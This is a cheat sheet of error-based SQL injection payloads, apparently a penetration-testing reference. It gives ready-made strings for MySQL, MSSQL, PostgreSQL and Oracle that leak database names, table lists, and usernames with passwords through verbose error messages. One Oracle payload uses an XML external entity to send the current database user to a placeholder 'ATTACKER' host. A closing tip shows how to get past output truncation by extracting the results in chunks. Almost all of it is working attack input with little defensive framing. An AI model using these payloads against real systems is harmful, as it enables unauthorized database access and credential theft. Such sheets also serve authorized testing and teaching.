Error-based SQLi extracts data by triggering database errors that include query results in the error message. Requires: verbose error messages displayed on page.
' AND extractvalue(1,concat(0x7e,(SELECT database()),0x7e))-- -' AND extractvalue(1,concat(0x7e,(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()),0x7e))-- -' AND extractvalue(1,concat(0x7e,(SELECT group_concat(username,0x3a,password) FROM users),0x7e))-- -
' AND updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)-- -' AND updatexml(1,concat(0x7e,(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()),0x7e),1)-- -
' AND 1=CONVERT(int,(SELECT db_name()))-- -' AND 1=CONVERT(int,(SELECT top 1 name FROM sysobjects WHERE xtype='U'))-- -' AND 1=CONVERT(int,(SELECT top 1 username FROM users))-- -
' AND 1=CAST((SELECT current_database()) AS int)-- -' AND 1=CAST((SELECT string_agg(table_name,',') FROM information_schema.tables WHERE table_schema='public') AS int)-- -' AND 1=CAST((SELECT username||':'||password FROM users LIMIT 1) AS int)-- -
' AND extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY % x SYSTEM "http://'||(SELECT user FROM dual)||'.ATTACKER/">%x;]>'),'/l')-- -
Error messages often truncate output. Extract in parts:
' AND extractvalue(1,concat(0x7e,SUBSTR((SELECT group_concat(username,0x3a,password) FROM users),1,30),0x7e))-- -' AND extractvalue(1,concat(0x7e,SUBSTR((SELECT group_concat(username,0x3a,password) FROM users),31,30),0x7e))-- -